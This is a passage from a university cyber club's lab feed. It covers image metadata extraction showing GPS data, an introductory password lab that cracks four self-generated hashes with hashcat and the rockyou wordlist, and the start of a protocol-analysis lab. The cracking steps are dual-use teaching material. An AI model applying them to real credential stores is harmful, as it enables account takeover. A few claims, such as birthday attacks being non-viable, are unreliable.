&lt;p&gt;The second of these ways is to utilize command line tools. Some tools that are most useful for the task of metadata extraction (in the case of this lab) are &lt;code&gt;file&lt;/code&gt;, and &lt;code&gt;strings&lt;/code&gt;, &lt;code&gt;ExifTool&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The &lt;code&gt;file&lt;/code&gt; Command:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;file&lt;/code&gt; is a command-line utility that identifies file types and provides basic information about files. Rather than trusting file extensions (which can be changed or spoofed), file examines the actual content and structure of a file to determine what it really is.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The &lt;code&gt;strings&lt;/code&gt; Command:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;strings&lt;/code&gt; is a command-line utility that extracts readable text (printable character sequences) from binary files. While tools like ExifTool are designed specifically for structured metadata, strings takes a brute-force approach - it scans through the entire file and pulls out anything that looks like human-readable text.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The ExifTool Command:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ExifTool is a comprehensive metadata extraction and manipulation tool. While &lt;code&gt;file&lt;/code&gt; gives you a quick preview and &lt;code&gt;strings&lt;/code&gt; dumps raw text, ExifTool is purpose-built for structured metadata analysis. It can read, write, and edit the metadata of virtually every file type.&lt;/p&gt;
&lt;p&gt;To see available options for these tools:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ExifTool&lt;/strong&gt;: &lt;code&gt;exiftool -h&lt;/code&gt; (both Linux and Windows)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;file&lt;/strong&gt;: &lt;code&gt;file --help (Linux)&lt;/code&gt; or &lt;code&gt;man file&lt;/code&gt; for detailed documentation&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;strings&lt;/strong&gt;: &lt;code&gt;strings --help&lt;/code&gt; (Linux)&lt;/p&gt;
&lt;p&gt;Running &lt;code&gt;file Meta.jpg&lt;/code&gt; produces the following output:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Meta.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=8, compression=JPEG (old), manufacturer=Apple, model=Apple iPhone 5, xresolution=132, yresolution=140, resolutionunit=2, GPS-Data], baseline, precision 8, 1024x768, components 3
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;file&lt;/code&gt; command reveals file type, device information, image specifications. One key aspect of this output to note is the GPS-Data tag. This tag indicates that the image contains embedded geolocation coordinates. While the &lt;code&gt;file&lt;/code&gt; command confirms GPS data exists, it doesn&amp;rsquo;t display the actual latitude/longitude, timestamps, or other detailed EXIF fields.&lt;/p&gt;
&lt;p&gt;Running &lt;code&gt;strings Meta.jpg&lt;/code&gt; produces a mix of readable text extracted from the binary image data. While this output can be carefully sifted through to find the desired information, it is best used with a text filtering and pattern matching tool like grep (Global Regular Expression Print). By utilizing the pipe symbol, &amp;ldquo;&lt;code&gt;|&lt;/code&gt;&amp;rdquo;, you can take the output from the &lt;code&gt;strings&lt;/code&gt; command and feed it into the &lt;code&gt;grep&lt;/code&gt; command.
For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;strings Meta.jpg | grep -i &amp;quot;gps&amp;quot;&lt;/code&gt; - finds all lines mentioning GPS data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;code&gt;-i&lt;/code&gt; flag makes the search case-insensitive.&lt;/p&gt;
&lt;p&gt;Running &lt;code&gt;exiftool Meta.jpg&lt;/code&gt; produces the following output:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ExifTool Version Number : 12.76
File Name : Meta.jpg
Directory : .
File Size : 565 kB
File Modification Date/Time : 2025:10:09 20:22:56-06:00
File Access Date/Time : 2025:10:09 20:23:08-06:00
File Inode Change Date/Time : 2025:10:09 20:22:56-06:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
(...)
Image Size : 1024x768
Megapixels : 0.786
Shutter Speed : 1/640
Thumbnail Image : (Binary data 9828 bytes, use -b option to extract)
GPS Latitude : 39 deg 52&amp;#39; 30.00&amp;#34; N
GPS Longitude : 20 deg 0&amp;#39; 36.00&amp;#34; E
GPS Position : 39 deg 52&amp;#39; 30.00&amp;#34; N, 20 deg 0&amp;#39; 36.00&amp;#34; E
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="questions"&gt;Questions:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;When was the image created?&lt;/li&gt;
&lt;li&gt;What are the dimensions of the image? (ex: 800x600)&lt;/li&gt;
&lt;li&gt;What is the make of the camera that took the picture?&lt;/li&gt;
&lt;li&gt;What is the model of the camera that took the picture?&lt;/li&gt;
&lt;li&gt;What is the exposure time for the picture? (ex: 1/200)&lt;/li&gt;
&lt;li&gt;What are the GPS coordinates where the was the picture taken?&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="conclusion"&gt;Conclusion:&lt;/h2&gt;
&lt;p&gt;In this lab, students have learned how to extract and analyze metadata from image files using both online tools and command-line utilities. By exploring tools like file, strings, grep, and exiftool, you&amp;rsquo;ve seen how different approaches reveal varying levels of detail—from quick file identification to comprehensive EXIF data extraction. This lab also demonstrated to you that metadata often reveals far more than intended: a simple photo of a baby lamb contained the exact location where it was taken, the specific device used, and precise timestamps.&lt;/p&gt;
&lt;h2 id="answers"&gt;Answers&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;The answers to the question asked within this lab are contained within the &lt;a href="https://weber-cyber-club.github.io/extradocs/meta/meta-answers/"&gt;Meta Lab Answer File&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;</content></item><item><title>Passwords Intro</title><link>https://weber-cyber-club.github.io/labs/passwords-intro/</link><pubDate>Fri, 17 Oct 2025 21:26:09 -0600</pubDate><guid>https://weber-cyber-club.github.io/labs/passwords-intro/</guid><description>&lt;h2 id="purpose"&gt;Purpose&lt;/h2&gt;
&lt;p&gt;The purpose of this lab is to introduce students to hashes, hash types, and password attacks. This lab will explore what hashing is and how it works, how to identify different types of hashes, ways to break hashes, and how to be secure when using hashing algorithms.&lt;/p&gt;
&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;h3 id="key-terms"&gt;Key Terms:&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Cryptographic Hash Functions&lt;/strong&gt;: A hashing algorithm which maps an arbitrary binary string to a fixed length binary string. What sets a Cryptographic Hash Function (CHF) apart from a Hash Function (HF) are the following properties:&lt;/p&gt;</description><content>&lt;h2 id="purpose"&gt;Purpose&lt;/h2&gt;
&lt;p&gt;The purpose of this lab is to introduce students to hashes, hash types, and password attacks. This lab will explore what hashing is and how it works, how to identify different types of hashes, ways to break hashes, and how to be secure when using hashing algorithms.&lt;/p&gt;
&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;h3 id="key-terms"&gt;Key Terms:&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Cryptographic Hash Functions&lt;/strong&gt;: A hashing algorithm which maps an arbitrary binary string to a fixed length binary string. What sets a Cryptographic Hash Function (CHF) apart from a Hash Function (HF) are the following properties:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;(Strong) Collision Resistance&lt;/strong&gt;: The probability of a particular &lt;em&gt;n&lt;/em&gt;-bit output given two distinct string inputs is 2&lt;sup&gt;-n&lt;/sup&gt;. What this means for every possible input, we have an equal change of any possible output. Making these functions excellent for storing something like a password, or being used to find a checksum of a file. We have a very low chance for a collision of hashes (which will be covered later) especially as the bit size goes up. This is the optimal design for security.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Preimage Resistance&lt;/strong&gt;: The probability of finding an input string that matches a hash value (called a preimage attack) is 2&lt;sup&gt;-n&lt;/sup&gt;. The resistance to this kind of attack is called the CHFs security strength. A CHF that has &lt;em&gt;n&lt;/em&gt; bits of hash value is expected to have a preimage resistance strength of &lt;em&gt;n&lt;/em&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Second Preimage Resistance&lt;/strong&gt;: Given an input &lt;em&gt;m&lt;/em&gt;&lt;sub&gt;1&lt;/sub&gt; it should be difficult to find a different message &lt;em&gt;m&lt;/em&gt;&lt;sub&gt;2&lt;/sub&gt; where hash(&lt;em&gt;m&lt;/em&gt;&lt;sub&gt;1&lt;/sub&gt;) == hash(&lt;em&gt;m&lt;/em&gt;&lt;sub&gt;2&lt;/sub&gt;). This property is also called weak collision resistance.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Strong vs Weak Collision Resistance&lt;/strong&gt;: What differentiates strong vs weak collision resistance comes down to how many messages you start with. Weak collision starts with a messages &lt;em&gt;m&lt;/em&gt;&lt;sub&gt;1&lt;/sub&gt; then tries to find an &lt;em&gt;m&lt;/em&gt;&lt;sub&gt;2&lt;/sub&gt; that would have a matching hash. Strong collision resistance would require the attacker to find two messages with the same hash, meaning you do not start with a given hash value, you are just trying to find any two messages that have a matching hash value.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All these given properties can give anyone confidence that a CHF will be the right choice in securing their data. Due to the fact that when an input string is changed the output hash will have to change, no matter how big or small the change is, you can know if the hash hasn&amp;rsquo;t changed the data should not have changed either.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Most Common Hash Attacks (Relating to Passwords)&lt;/strong&gt;: There are many potential attacks that can be used on hash functions, however, the most widely spoken of attacks are as follows;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Birthday Attacks won&amp;rsquo;t be covered because they are a theory and not a truly viable attack&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Brute Forcing&lt;/strong&gt;: Possibly the worst choice when it comes to trying to break a password. Although not quite the same probability of the Preimage attack, your odds are still significantly against you. Depending on the passwords you are trying to break, the attack gets exponentially harder, as you add different characters and digits, along with length, the password will begin to approach an impossible level of difficulty.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Rainbow Tables&lt;/strong&gt;: This is a much faster attack, often netting decent results especially when looking at common passwords. This is a lookup table of passwords, with their associated hash. There are some difficulties here though. The passwords have been computed with a specific algorithm. Therefore they can only be used against that given hash. Though not a big deal especially for a specific attack. Oftentimes rainbow tables can be quite large, but they can be read through quickly as they are commonly loaded into RAM. &lt;a href="https://ophcrack.sourceforge.io/tables.php"&gt;Ophcrack&lt;/a&gt; has some of the best rainbow tables for cracking many hashes from older versions of Windows. They even have a 2TB table for Windows Vista!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Dictionary Attacks&lt;/strong&gt;: This is your most common attack used against passwords. There are also many different variations to this attack. Just plain dictionary attacks are done by taking a given hash value, working through a given wordlist, hashing the passwords in the wordlist, and seeing if any passwords match up. There are also modifications that can be made to this attack, such as adding rules, which will make permutations to a word in a wordlist to hopefully counteract users who use things like leetspeak or added numbers and special characters to attempt to obscure a password. You can also combine multiple wordlists in a pattern such as {wordlist1}{wordlist2}. The main defense against this attack are KEY Derivation Functions which are much slower hash functions, these slow functions help to protect passwords by making guesses against a larger wordlist unreasonable because of how long it will take to guess the initial input.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="defense"&gt;Defense&lt;/h3&gt;
&lt;p&gt;Defending against password attacks ultimately comes down to your end users, though, there can be some work done by administrators as well. You should have a password policy that ensures users have longer passwords. Complexity requirements are negligible if the password is too short, although complexity is great, just as long as it is paired with length. You should also ensure that users are not using common passwords. Especially anything in the rockyou.txt wordlists, the most common password list to attack off of. However, you cannot blame the users for everything when it comes to password security. You must ensure that passwords are being stored using a CHF. You also must ensure that this CHF is a secure algorithm. Today BCrypt is a widely used function that is a KDF, it is a very good choice for storing passwords. However, if your staff sends their passwords directly to an attacker&amp;hellip; hashing, complexity, and length really don&amp;rsquo;t matter anymore. Therefore, as with all security topics, education will be your best friend in securing your environment.&lt;/p&gt;
&lt;h3 id="lab-setup"&gt;Lab Setup&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Machine: Kali Linux 2025-03&lt;/li&gt;
&lt;li&gt;Tools: Hashcat v7.1.2, rockyou.txt wordlist, &lt;a href="https://www.browserling.com/tools/all-hashes"&gt;Browserling.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To start this lab I am going to generate a couple hashes for us to crack, they will contain a few different hash types, all of varying complexity to break (due to mathematical complexity not password strength).&lt;/p&gt;
&lt;p&gt;The hash types used will be:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;MD5&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SHA1&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SHA3-512&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Whirlpool&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/passwords-intro/browsergeneration.png" alt="Generating a Hash"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generated Hashes&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Hash 1:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;5eb63bbbe01eeed093cb22bb8f5acdc3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hash 2:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ee8d8728f435fd550f83852aabab5234ce1da528
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hash 3:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cab61bfb623faeb0ba7f70f467c2f861f265de6f8bc6af85a7188c9d855809a7da2c27fe01472df1c9079f63fa97d1647fd3f32802cbfeaea9a69aabefd25e1f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hash 4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c054f20568752c7be158d41e2c16b1c622cea9a1e1551fc48951a884ca184d94dd8b20b40a4c2543843ed9401b81ba1bf3210e5d3fd0a756819c90a19585377f
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="lab-guide"&gt;Lab Guide&lt;/h2&gt;
&lt;p&gt;We have been given these four hashes that need to be analyzed. We are attempting to recover the plaintext of the hashes, we do not know anything about the victims but we can pretty confidently say the plaintext passwords were likely involved in the famous &lt;em&gt;Rockyou Breach&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="identifying-hashes"&gt;Identifying Hashes&lt;/h3&gt;
&lt;p&gt;In order to identify our hashes we are going to use a tool called hash-identifier.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ hash-identifier
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After typing this command we will be greeted to this interface where we can begin entering hashes to identify.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/passwords-intro/hash-identifier.png" alt="Hash Identifier Screen"&gt;&lt;/p&gt;
&lt;p&gt;After copying and pasting our hashes one by one into hash-identifier we get these results&lt;/p&gt;
&lt;p&gt;Hash 1:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MD5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hash 2:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SHA-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hash 3:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SHA-512
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hash 4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Whirlpool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice how Hash 3 and 4 return the same results, this is because both hashes obviously look the exact same, in this case they are not, Hash 3 is SHA-512 and 4 is Whirlpool. However, this is just something you would have to figure out as the attack progressed seeing there is not an obvious separation between the two CHFs.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/passwords-intro/similarhash.png" alt="Hash Types are the Same"&gt;&lt;/p&gt;
&lt;h3 id="using-hashcat-to-find-plaintext-passwords"&gt;Using Hashcat to Find Plaintext Passwords&lt;/h3&gt;
&lt;p&gt;Now that we know our hash types we can begin creating arguments to pass to hashcat to hopefully find all our plaintext passwords.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Preparing Our Machine&lt;/strong&gt;
By default we should have hashcat installed on our machine if we are using kali, however we can check with the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ hashcat --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you do not see your version of hashcat displayed you will need to install it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Make sure repositories have been refreshed
$ sudo apt update
# Install Hashcat
$ sudo apt install hashcat
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you are using a distribution that is not Debian based try using your distros package manager, if this does not work go to the &lt;a href="https://github.com/hashcat/hashcat"&gt;Hashcat Github&lt;/a&gt; for installation instructions.&lt;/p&gt;
&lt;p&gt;In order to get a plaintext password back we are going to need to pick an attack strategy. Due to the different hash types we cannot use rainbow tables effectively, we also should not start with a brute force attack, therefore we are left with a dictionary attack. In order to do this we need a dictionary, thankfully kali comes with many preinstalled. In order to use it we will need to extract it using this command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will not return anything to the screen if it worked, so to check to make sure our file has been extracted we can run&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ file /usr/share/wordlists/rockyou.txt
# This should return this output
/usr/share/wordlists/rockyou.txt: Unicode text, UTF-8 text
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we have our wordlist we are ready to begin our attacks.&lt;/p&gt;
&lt;p&gt;The first thing we will want to do is figure out our options for hashcat, to do this we will run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ hashcat --help
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a lot of information but we will work through it!&lt;/p&gt;
&lt;p&gt;There are a few options we will need to use here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;-m (hash type)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;-a (Attack Mode)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;-o (Specify an Output File)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The attack modes are listed here:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/passwords-intro/attackmodes.png" alt="Attack Modes"&gt;&lt;/p&gt;
&lt;p&gt;It might not be very clear but we are going to use attack mode 0 or straight mode&lt;/p&gt;
&lt;p&gt;Next we will need to choose our hash type. Now every attack will be different for us, but if we use this command we can see all the hash types and choose the ones we need when we need them:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ hashcat -hh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you scroll up you can see all of the hash types, but a better way to do this would be using GREP. GREP is a command line tool used to search through the output of a command. Let&amp;rsquo;s use GREP for hash 1&amp;rsquo;s hash type:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ hashcat -hh | grep &amp;quot;MD5&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This output is much better and tells us we need option 0.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which flags (arguments) will we use?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;-a 0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;-m 0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;-o cracked.txt&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Putting It All Together!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When we put all these commands together we should have a command like this for hash 1:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ hashcat -a 0 -m 0 -o cracked.txt 5eb63bbbe01eeed093cb22bb8f5acdc3 /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If everything has gone right the results of our first attack should show a plaintext password. To check we can run the command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat cracked.txt
#Output
5eb63bbbe01eeed093cb22bb8f5acdc3:hello world
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we will just need to find the other 3 hash types and substitute them in to the -m option:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please attempt to find the hash modes before continuing on.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remaining Hash Modes&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Hash 2 = 100&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hash 3 = 17600 (Remember it is really SHA3-512 not just SHA-512)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hash 4 = 6100&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the end a final command should show us all of our hashes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat cracked.txt
#Output
5eb63bbbe01eeed093cb22bb8f5acdc3:hello world
ee8d8728f435fd550f83852aabab5234ce1da528:iloveyou
cab61bfb623faeb0ba7f70f467c2f861f265de6f8bc6af85a7188c9d855809a7da2c27fe01472df1c9079f63fa97d1647fd3f32802cbfeaea9a69aabefd25e1f:Nirvana
c054f20568752c7be158d41e2c16b1c622cea9a1e1551fc48951a884ca184d94dd8b20b40a4c2543843ed9401b81ba1bf3210e5d3fd0a756819c90a19585377f:lakers
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These are all of our plaintext passwords. Due to the fact they were just in a straight wordlist, these were incredibly easy for us to break.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;In closing, I hope that you now feel more knowledgeable on password cracking techniques, but more importantly, I hope you have learned something about password security. You should now be able to see just how important not only password complexity&amp;rsquo;s, or length are. But also, how bad password reuse can be. This is a very brief overview of password attacks and they get much deeper than this. If you would like to try your hand at some other challenges, spanning different hash types, operating systems, and even tools, you should check out the &lt;a href="https://weber-cyber-club.github.io/categories/passwords/"&gt;Weber State Cyber Club&amp;rsquo;s Passwords Section&lt;/a&gt;. There are also a multitude of resources out there on the mathematics behind hash functions, my personal choice for these things is oddly enough &lt;a href="https://www.wikipedia.org"&gt;Wikipedia&lt;/a&gt; it is very helpful at giving you an overview of these topics. Thank you for participating in this lab. I hope you learned a lot and enjoyed the format!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Until Next Time!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Professor&lt;/strong&gt;&lt;/p&gt;</content></item><item><title>Profos-Systems Communications Lab</title><link>https://weber-cyber-club.github.io/labs/profos-systems-communications/</link><pubDate>Tue, 14 Oct 2025 19:06:30 -0600</pubDate><guid>https://weber-cyber-club.github.io/labs/profos-systems-communications/</guid><description>&lt;h1 id="custom-network-traffic-analysis"&gt;Custom Network Traffic Analysis&lt;/h1&gt;
&lt;p&gt;&lt;span style="color:red"&gt; &lt;strong&gt;Please do not interact with any IP addresses found inside of this lab! These IP addresses do not belong to me, they are used in an isolated lab, no IP addresses in this lab have any significance!&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="purpose"&gt;Purpose&lt;/h2&gt;
&lt;p&gt;The purpose of this lab is to give students experience dissecting custom networking protocols. Although this can seem like an obscure problem to run into, this is still important, mainly in the realm of learning how packets are structured, or IoT device communication. This lab will take students through data types, sizes, reading offsets, and reading/understanding a protocol specification.&lt;/p&gt;</description><content>&lt;h1 id="custom-network-traffic-analysis"&gt;Custom Network Traffic Analysis&lt;/h1&gt;
&lt;p&gt;&lt;span style="color:red"&gt; &lt;strong&gt;Please do not interact with any IP addresses found inside of this lab! These IP addresses do not belong to me, they are used in an isolated lab, no IP addresses in this lab have any significance!&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="purpose"&gt;Purpose&lt;/h2&gt;
&lt;p&gt;The purpose of this lab is to give students experience dissecting custom networking protocols. Although this can seem like an obscure problem to run into, this is still important, mainly in the realm of learning how packets are structured, or IoT device communication. This lab will take students through data types, sizes, reading offsets, and reading/understanding a protocol specification.&lt;/p&gt;
&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;h3 id="analysis-of-a-custom-networking-protocol"&gt;Analysis of a Custom Networking Protocol&lt;/h3&gt;
&lt;p&gt;In order to analyze any protocol, you need to have a few pieces of information. Oftentimes, this required information is noted by a protocol analyzer. However, we are more than capable of finding this information ourselves! The first piece of information we should note is, what is the endianness of our data, also known as the byte order? Which layer does this protocol reside at? Once we have this information we can ask, what protocols are beneath this protocol? Finally, which protocols are above this protocol? Ultimately, we are looking at the whole protocol stack from layer 1 to layer 7 of the OSI model:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Application (Layer 7)
Presentation (Layer 6)
Session (Layer 5)
Transport (Layer 4)
Network (Layer 3)
Data Link (Layer 2)
Physical (Layer 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the most part in protocol analysis we can view layers 5-7 as the same layer, we will just view these as the application layer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Application (Layer 5-7)
Transport (Layer 4)
Network (Layer 3)
Data-Link (Layer 2)
Physical (Layer 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The protocols used at each layer of the OSI model are put together using what is called encapsulation–at every layer of the OSI model each previous layer is put inside a container of the following layer. I will display this with an illustration:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; Application Layer (Data)
...
[Transport Layer Header][Data][Transport Layer Trailer]
...
[Network Layer Header][Transport Layer Header][Data][Transport Layer Trailer][Network Layer Trailer]
...
[Data Link Layer Header][Network Layer Header][Transport Layer Header][Data][Transport Layer Trailer][Network Layer Trailer][Data Link Layer Trailer]
...
Sent Down The Wire
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With this information, hopefully now you can see why the four questions we are asking will be so important!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Endianness/Byte Order:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Big-Endian:&lt;/strong&gt; In this format, our most significant byte is displayed first. For example, the integer 2487 represented in big endian would be 0x000009B7.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Little-Endian:&lt;/strong&gt; In this format our least significant byte is displayed first. For example the integer 2487 represented in little endian would be 0xB7090000.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Which layer does the protocol reside at?&lt;/strong&gt; This question will significantly affect what we would expect to see within the protocol&amp;rsquo;s data as well as the methods used to capture the data. The following list will layout how the different layers of the OSI model will affect what we expect to see from the protocol&amp;rsquo;s data:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Application: At the application layer, we are expecting to see actual user data. An example of a protocol that resides at this layer is HTTP. While looking at HTTP in packet analysis, we can see raw HTTP methods, such as GET or POST requests, then we can also see all the data that is returned by these methods. If we are analyzing an application layer protocol, we should expect very similar behavior.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Transport: This layer of the OSI model is used to provide host-to-host communication. At this layer resides protocols like TCP, which is used to provide reliable communication between hosts. It is capable of detecting and retransmitting missing packets as well as flow-control, ensuring packets are arriving at a rate at which the end device is still able to process the data and at a size that is suitable for the end host. If we were looking at a protocol at this layer, we would be dissecting the communication scheme used by two computers, and we would be looking at sockets and how the data will make it from host to host.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Network: The network layer is responsible for ensuring packets can make their way through multiple connected networks. IPv4 and IPv6 reside at this layer, both protocols having the role of providing an addressing and network mask scheme suitable for inter or intranet routing. Without layer 3, we would not be able to communicate outside of our local network. If we were looking at a layer 3 protocol, we&amp;rsquo;d likely be looking at some form of host and network masks. This would practically be the only data at this layer aside from some assorted flags. It is important to note, however, that without specialized equipment doing routing, it is impossible to implement a custom layer 3 protocol, as you need equipment capable of understanding the addressing scheme being used in order to route traffic. A normal IP router cannot route some arbitrarily addressed traffic.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Data-Link: The data link layer is going to define a way for communication within a local area network. This is an addressing scheme that does not need to worry about network masking, as it can only transmit within its own network. A protocol used at layer 2 is Ethernet which is used on most local area networks. This protocol uses a Media Access Control (MAC) address to give devices on a local area network an address to send traffic to in order to communicate with each other. If we were looking at a layer 2 protocol, we would see similar things to a layer 3 protocol without the network masking.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
